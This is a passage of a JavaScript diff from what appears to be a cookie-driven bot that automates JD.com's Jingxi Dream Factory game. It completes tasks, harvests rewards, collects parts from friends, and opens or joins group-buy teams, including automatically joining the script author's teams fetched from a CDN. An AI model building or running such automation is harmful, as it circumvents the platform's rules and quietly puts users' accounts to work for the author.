初始化任务 +function taskList() { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/GetUserTaskStatusList?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('GetUserTaskStatusList', '', `_time,bizCode,source`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userTaskStatusList = data['data']['userTaskStatusList']; + for (let i = 0; i < userTaskStatusList.length; i++) { + const vo = userTaskStatusList[i]; + if (vo['awardStatus'] !== 1) { + if (vo.completedTimes >= vo.targetTimes) { + console.log(`任务:${vo.description}可完成`) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } else { + switch (vo.taskType) { + case 2: // 逛一逛任务 + case 6: // 浏览商品任务 + case 9: // 开宝箱 + for (let i = vo.completedTimes; i <= vo.configTargetTimes; ++i) { + console.log(`去做任务:${vo.taskName}`) + await doTask(vo.taskId) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } + break + case 4: // 招工 + break + case 5: + // 收集类 + break + case 1: // 登陆领奖 + default: + break + } + } + } + } + console.log(`完成任务:共领取${$.ele}电力`) + message += `【每日任务】领奖成功,共计 ${$.ele} 电力\n`; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 获得用户电力情况 +function getUserElectricity() { + return new Promise(async resolve => { + // const url = `/dreamfactory/generator/QueryCurrentElectricityQuantity?zone=dream_factory&factoryid=${$.factoryId}&sceneval=2&g_login_type=1` + $.get(taskurl(`generator/QueryCurrentElectricityQuantity`, `factoryid=${$.factoryId}`, `_time,factoryid,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`发电机:当前 ${data.data.currentElectricityQuantity} 电力,最大值 ${data.data.maxElectricityQuantity} 电力`) + if (data.data.currentElectricityQuantity < data.data.maxElectricityQuantity) { + $.log(`\n本次发电机电力集满分享后${data.data.nextCollectDoubleFlag === 1 ? '可' : '不可'}获得双倍电力,${data.data.nextCollectDoubleFlag === 1 ? '故目前不收取电力' : '故现在收取电力'}\n`) + } + if (data.data.nextCollectDoubleFlag === 1) { + if (data.data.currentElectricityQuantity === data.data.maxElectricityQuantity && data.data.doubleElectricityFlag) { + console.log(`发电机:电力可翻倍并收获`) + // await shareReport(); + await collectElectricity() + } else { + message += `【发电机电力】当前 ${data.data.currentElectricityQuantity} 电力,未达到收获标准\n` + } + } else { + //再收取双倍电力达到上限时,直接收取,不再等到满级 + await collectElectricity() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//查询有多少的招工电力可收取 +function QueryHireReward() { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/HireAward?zone=dream_factory&date=${new Date().Format("yyyyMMdd")}&type=0&sceneval=2&g_login_type=1` + $.get(taskurl('friend/QueryHireReward', ``, `_time,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + for (let item of data['data']['hireReward']) { + if (item.date !== new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).Format("yyyyMMdd")) { + await hireAward(item.date, item.type); + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 收取招工/劳模电力 +function hireAward(date, type = 0) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/HireAward?zone=dream_factory&date=${new Date().Format("yyyyMMdd")}&type=0&sceneval=2&g_login_type=1` + $.get(taskurl('friend/HireAward', `date=${date}&type=${type}`, '_time,date,type,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`打工电力:收取成功`) + message += `【打工电力】:收取成功\n` + } else { + console.log(`打工电力:收取失败,${data.msg}`) + message += `【打工电力】收取失败,${data.msg}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + let Hours = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).getHours(); + if (Hours < 6) { + console.log(`\n未到招工时间(每日6-24点之间可招工)\n`) + return + } + if ($.canHelpFlag) { + await shareCodesFormat(); + for (let code of $.newShareCodes) { + if (code) { + if ($.encryptPin === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + const assistFriendRes = await assistFriend(code); + if (assistFriendRes && assistFriendRes['ret'] === 0) { + console.log(`助力朋友:${code}成功,因一次只能助力一个,故跳出助力`) + break + } else if (assistFriendRes && assistFriendRes['ret'] === 11009) { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg},跳出助力`); + break + } else { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg}`) + } + } + } + } else { + $.log(`\n今日助力好友机会已耗尽\n`); + } +} +// 帮助用户,此处UA不可更换,否则助力功能会失效 +function assistFriend(sharepin) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1` + // const options = { + // 'url': `https://m.jingxi.com/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1`, + // 'headers': { + // "Accept": "*/*", + // "Accept-Encoding": "gzip, deflate, br", + // "Accept-Language": "zh-cn", + // "Connection": "keep-alive", + // "Cookie": cookie, + // "Host": "m.jingxi.com", + // "Referer": "https://st.jingxi.com/pingou/dream_factory/index.html", + // "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" + // } + // } + const options = taskurl('friend/AssistFriend', `sharepin=${escape(sharepin)}`, `_time,sharepin,zone`); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // console.log(`助力朋友:${sharepin}成功`) + // } else { + // console.log(`助力朋友[${sharepin}]失败:${data.msg}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询助力招工情况 +function QueryFriendList() { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFriendList', ``, `_time,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const { assistListToday = [], assistNumMax, hireListToday = [], hireNumMax } = data; + console.log(`\n\n你今日还能帮好友打工(${assistNumMax - assistListToday.length || 0}/${assistNumMax})次\n\n`); + if (assistListToday.length === assistNumMax) { + $.canHelpFlag = false; + } + $.log(`【今日招工进度】${hireListToday.length}/${hireNumMax}`); + message += `【招工进度】${hireListToday.length}/${hireNumMax}\n`; + } else { + console.log(`QueryFriendList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 任务领奖 +function completeTask(taskId, taskName) { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/Award?source=dreamfactory&bizCode=dream_factory&taskId=${taskId}&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('Award', taskId, `_time,bizCode,source,taskId`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (data['data']['awardStatus']) { + case 1: + $.ele += Number(data['data']['prizeInfo'].replace('\\n', '')) + console.log(`领取${taskName}任务奖励成功,收获:${Number(data['data']['prizeInfo'].replace('\\n', ''))}电力`); + break + case 1013: + case 0: + console.log(`领取${taskName}任务奖励失败,任务已领奖`); + break + default: + console.log(`领取${taskName}任务奖励失败,${data['msg']}`) + break + } + // if (data['ret'] === 0) { + // console.log("做任务完成!") + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 完成任务 +function doTask(taskId) { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/DoTask?source=dreamfactory&bizCode=dream_factory&taskId=${taskId}&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('DoTask', taskId, '_time,bizCode,configExtra,source,taskId'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log("做任务完成!") + } else { + console.log(`DoTask异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId;//工厂ID + $.productionId = production.productionId;//商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + // subTitle = data.user.pin; + await GetCommodityDetails();//获取已选购的商品信息 + if (productionStage['productionStageAwardStatus'] === 1) { + $.log(`可以开红包了\n`); + await DrawProductionStagePrize();//领取红包 + } else { + $.log(`再加${productionStage['productionStageProgress']}电力可开红包\n`) + } + console.log(`当前电力:${data.user.electric}`) + console.log(`当前等级:${data.user.currentLevel}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.user.encryptPin}`); + console.log(`已投入电力:${production.investedElectric}`); + console.log(`所需电力:${production.needElectric}`); + console.log(`生产进度:${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%`); + message += `【京东账号${$.index}】${$.nickName}\n` + message += `【生产商品】${$.productName}\n`; + message += `【当前等级】${data.user.userIdentity} ${data.user.currentLevel}\n`; + message += `【生产进度】${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%\n`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) $.log(`\n\n可以兑换商品了`) + if (production['exchangeStatus'] === 3) { + $.log(`\n\n商品兑换已超时`) + if (new Date().getHours() === 9) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造`) + if (`${notifyLevel}` === '3' || `${notifyLevel}` === '2') allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } + // await exchangeProNotify() + } else { + console.log(`\n\n预计最快还需 【${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(2)}天】生产完毕\n\n`) + } + if (production.status === 3) { + $.log(`\n\n商品生产已失效`) + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造`) + if ($.isNode() && (`${notifyLevel}` === '3' || `${notifyLevel}` === '2')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); + } else if (data.factoryList && !data.productionList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if (nowTimes.getHours() === 12) { + //如按每小时运行一次,则此处将一天12点推送1次提醒 + $.msg($.name, '提醒⏰', `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`); + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`) + if ($.isNode() && `${notifyLevel}` === '3') allMessage += `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(taskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.productName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 查询已完成商品 +function GetShelvesList(pageNo = 1) { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetShelvesList', `pageNo=${pageNo}&pageSize=12`, `_time,pageNo,pageSize,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const { shelvesList } = data; + if (shelvesList) { + $.shelvesList = [...$.shelvesList, ...shelvesList]; + pageNo ++ + GetShelvesList(pageNo); + } + } else { + console.log(`GetShelvesList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取红包 +function DrawProductionStagePrize() { + return new Promise(async resolve => { + // const url = `/dreamfactory/userinfo/DrawProductionStagePrize?zone=dream_factory&sceneval=2&g_login_type=1&productionId=${$.productionId}`; + $.get(taskurl('userinfo/DrawProductionStagePrize', `productionId=${$.productionId}`, `_time,productionId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`开幸运红包:${data}`); + // if (safeGet(data)) { + // data = JSON.parse(data); + // if (data['ret'] === 0) { + // + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function PickUp(encryptPin = $.encryptPin, help = false) { + $.pickUpMyselfComponent = true; + const GetUserComponentRes = await GetUserComponent(encryptPin, 1500); + if (GetUserComponentRes && GetUserComponentRes['ret'] === 0 && GetUserComponentRes['data']) { + const { componentList } = GetUserComponentRes['data']; + if (componentList && componentList.length <= 0) { + if (help) { + $.log(`好友【${encryptPin}】地下暂无零件可收\n`) + } else { + $.log(`自家地下暂无零件可收\n`) + } + $.pickUpMyselfComponent = false; + } + for (let item of componentList) { + await $.wait(1000); + const PickUpComponentRes = await PickUpComponent(item['placeId'], encryptPin); + if (PickUpComponentRes) { + if (PickUpComponentRes['ret'] === 0) { + const data = PickUpComponentRes['data']; + if (help) { + console.log(`收取好友[${encryptPin}]零件成功:获得${data['increaseElectric']}电力\n`); + $.pickFriendEle += data['increaseElectric']; + } else { + console.log(`收取自家零件成功:获得${data['increaseElectric']}电力\n`); + $.pickEle += data['increaseElectric']; + } + } else { + if (help) { + console.log(`收好友[${encryptPin}]零件失败:${PickUpComponentRes.msg},直接跳出\n`) + } else { + console.log(`收自己地下零件失败:${PickUpComponentRes.msg},直接跳出\n`); + $.pickUpMyselfComponent = false; + } + break + } + } + } + } +} +function GetUserComponent(pin = $.encryptPin, timeout = 0) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskurl('usermaterial/GetUserComponent', `pin=${pin}`, `_time,pin,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + + } else { + console.log(`GetUserComponent失败:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +//收取地下随机零件电力API + +function PickUpComponent(index, encryptPin) { + return new Promise(resolve => { + $.get(taskurl('usermaterial/PickUpComponent', `placeId=${index}&pin=${encryptPin}`, `_time,pin,placeId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // data = data['data']; + // if (help) { + // console.log(`收取好友[${encryptPin}]零件成功:获得${data['increaseElectric']}电力\n`); + // $.pickFriendEle += data['increaseElectric']; + // } else { + // console.log(`收取自家零件成功:获得${data['increaseElectric']}电力\n`); + // $.pickEle += data['increaseElectric']; + // } + // } else { + // if (help) { + // console.log(`收好友[${encryptPin}]零件失败:${JSON.stringify(data)}`) + // } else { + // console.log(`收零件失败:${JSON.stringify(data)}`) + // } + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//偷好友的电力 +async function stealFriend() { + // if (!$.pickUpMyselfComponent) { + // $.log(`今日收取零件已达上限,偷好友零件也达到上限,故跳出`) + // return + // } + //调整,只在每日1点,12点,19点尝试收取好友零件 + if (new Date().getHours() !== 1 && new Date().getHours() !== 12 && new Date().getHours() !== 19) return + await getFriendList(); + $.friendList = [...new Set($.friendList)].filter(vo => !!vo && vo['newFlag'] !== 1); + console.log(`查询好友列表完成,共${$.friendList.length}好友,下面开始拾取好友地下的零件\n`); + for (let i = 0; i < $.friendList.length; i++) { + let pin = $.friendList[i]['encryptPin'];//好友的encryptPin + console.log(`\n开始收取第 ${i + 1} 个好友 【${$.friendList[i]['nickName']}】 地下零件 collectFlag:${$.friendList[i]['collectFlag']}`) + await PickUp(pin, true); + // await getFactoryIdByPin(pin);//获取好友工厂ID + // if ($.stealFactoryId) await collectElectricity($.stealFactoryId,true, pin); + } +} +function getFriendList(sort = 0) { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFactoryManagerList', `sort=${sort}`, `_time,sort,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + if (data.list && data.list.length <= 0) { + // console.log(`查询好友列表完成,共${$.friendList.length}好友,下面开始拾取好友地下的零件\n`); + return + } + let friendsEncryptPins = []; + for (let item of data.list) { + friendsEncryptPins.push(item); + } + $.friendList = [...$.friendList, ...friendsEncryptPins]; + // if (!$.isNode()) return + await getFriendList(data.sort); + } else { + console.log(`QueryFactoryManagerList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getFactoryIdByPin(pin) { + return new Promise((resolve, reject) => { + // const url = `/dreamfactory/userinfo/GetUserInfoByPin?zone=dream_factory&pin=${pin}&sceneval=2`; + $.get(taskurl('userinfo/GetUserInfoByPin', `pin=${pin}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (data.data.factoryList) { + //做此判断,有时候返回factoryList为null + // resolve(data['data']['factoryList'][0]['factoryId']) + $.stealFactoryId = data['data']['factoryList'][0]['factoryId']; + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function tuanActivity() { + const tuanConfig = await QueryActiveConfig(); + if (tuanConfig && tuanConfig.ret === 0) { + const { activeId, surplusOpenTuanNum, tuanId } = tuanConfig['data']['userTuanInfo']; + console.log(`今日剩余开团次数:${surplusOpenTuanNum}次`); + $.surplusOpenTuanNum = surplusOpenTuanNum; + if (!tuanId && surplusOpenTuanNum > 0) { + //开团 + $.log(`准备开团`) + await CreateTuan(); + } else if (tuanId) { + //查询词团信息 + const QueryTuanRes = await QueryTuan(activeId, tuanId); + if (QueryTuanRes && QueryTuanRes.ret === 0) { + const { tuanInfo } = QueryTuanRes.data; + if ((tuanInfo && tuanInfo[0]['endTime']) <= QueryTuanRes['nowTime'] && surplusOpenTuanNum > 0) { + $.log(`之前的团已过期,准备重新开团\n`) + await CreateTuan(); + return + } + for (let item of tuanInfo) { + const { realTuanNum, tuanNum, userInfo } = item; + $.tuanNum = tuanNum || 0; + $.log(`\n开团情况:${realTuanNum}/${tuanNum}\n`); + if (realTuanNum === tuanNum) { + for (let user of userInfo) { + if (user.encryptPin === $.encryptPin) { + if (user.receiveElectric && user.receiveElectric > 0) { + console.log(`您在${new Date(user.joinTime * 1000).toLocaleString()}开团奖励已经领取成功\n`) + if ($.surplusOpenTuanNum > 0) await CreateTuan(); + } else { + $.log(`开始领取开团奖励`); + await tuanAward(item.tuanActiveId, item.tuanId);//isTuanLeader + } + } + } + } else { + $.tuanIds.push(tuanId); + $.log(`\n此团未达领取团奖励人数:${tuanNum}人\n`) + } + } + } + } + } +} +async function joinLeaderTuan() { + let res = await updateTuanIdsCDN('') + if (!res) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res = await updateTuanIdsCDN(''); + } + $.authorTuanIds = [...(res && res.tuanIds || [])] + if ($.authorTuanIds && $.authorTuanIds.length) { + for (let tuanId of $.authorTuanIds) { + if (!tuanId) continue + if (!$.canHelp) break; + console.log(`\n账号${$.UserName} 参加作者的团 【${tuanId}】`); + await JoinTuan(tuanId); + await $.wait(1000); + } + } +} +//可获取开团后的团ID,如果团ID为空并且surplusOpenTuanNum>0,则可继续开团 +//如果团ID不为空,则查询QueryTuan() +function QueryActiveConfig() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=`; + const options = taskTuanUrl(`QueryActiveConfig`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { userTuanInfo } = data['data']; + console.log(`\n团活动ID ${userTuanInfo.activeId}`); + console.log(`团ID ${userTuanInfo.tuanId}\n`); + } else { + console.log(`QueryActiveConfig异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function QueryTuan(activeId, tuanId) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`QueryTuan`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + // $.log(`\n开团情况:${data.data.tuanInfo.realTuanNum}/${data.data.tuanInfo.tuanNum}\n`) + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团API +function CreateTuan() { + return new Promise((resolve) => { + const body =`activeId=${escape(tuanActiveId)}&isOpenApp=1` + const options = taskTuanUrl(`CreateTuan`, body, '_time,activeId,isOpenApp') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`【开团成功】tuanId为 ${data.data['tuanId']}`); + $.tuanIds.push(data.data['tuanId']); + } else { + //{"msg":"活动已结束,请稍后再试~","nowTime":1621551005,"ret":10218} + if (data['ret'] === 10218 && !hasSend && (new Date().getHours() % 6 === 0)) { + hasSend = true; + $.msg($.name, '', `京喜工厂拼团瓜分电力活动团ID(activeId)已失效\n请自行抓包替换(Node环境变量为TUAN_ACTIVEID,iOS端在BoxJx)或者联系作者等待更新`); + if ($.isNode()) await notify.sendNotify($.name, `京喜工厂拼团瓜分电力活动团ID(activeId)已失效\n请自行抓包替换(Node环境变量为TUAN_ACTIVEID,iOS端在BoxJx)或者联系作者等待更新`) + } + console.log(`开团异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function JoinTuan(tuanId, stk = '_time,activeId,tuanId') { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`JoinTuan`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`参团成功:${JSON.stringify(data)}\n`); + } else if (data['ret'] === 10005 || data['ret'] === 10206) { + //火爆,或者今日参团机会已耗尽 + console.log(`参团失败:${JSON.stringify(data)}\n`); + $.canHelp = false; + } else { + console.log(`参团失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询所有的团情况(自己开团以及参加别人的团) +function QueryAllTuan() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&pageNo=1&pageSize=10`; + const options = taskTuanUrl(`QueryAllTuan`, body, '_time,activeId,pageNo,pageSize') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { tuanInfo } = data; + for (let item of tuanInfo) { + if (item.tuanNum === item.realTuanNum) { + // console.log(`参加团主【${item.tuanLeader}】已成功`) + const { userInfo } = item; + for (let item2 of userInfo) { + if (item2.encryptPin === $.encryptPin) { + if (item2.receiveElectric && item2.receiveElectric > 0) { + console.log(`${new Date(item2.joinTime * 1000).toLocaleString()}参加团主【${item2.nickName}】的奖励已经领取成功`) + } else { + console.log(`开始领取${new Date(item2.joinTime * 1000).toLocaleString()}参加团主【${item2.nickName}】的奖励`) + await tuanAward(item.tuanActiveId, item.tuanId, item.tuanLeader === $.encryptPin);//isTuanLeader + } + } + } + } else { + console.log(`${new Date(item.beginTime * 1000).toLocaleString()}参加团主【${item.tuanLeader}】失败`) + } + } + } else { + console.log(`QueryAllTuan异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团人的领取奖励API +function tuanAward(activeId, tuanId, isTuanLeader = true) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`Award`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (isTuanLeader) { + console.log(`开团奖励(团长)${data.data['electric']}领取成功`); + message += `【开团(团长)奖励】${data.data['electric']}领取成功\n`; + if ($.surplusOpenTuanNum > 0) { + $.log(`开团奖励(团长)已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`参团奖励${data.data['electric']}领取成功`); + message += `【参团奖励】${data.data['electric']}领取成功\n`; + } + } else if (data['ret'] === 10212) { + console.log(`${JSON.stringify(data)}`); + + if (isTuanLeader && $.surplusOpenTuanNum > 0) { + $.log(`团奖励已领取,准备开团`); + await CreateTuan(); + 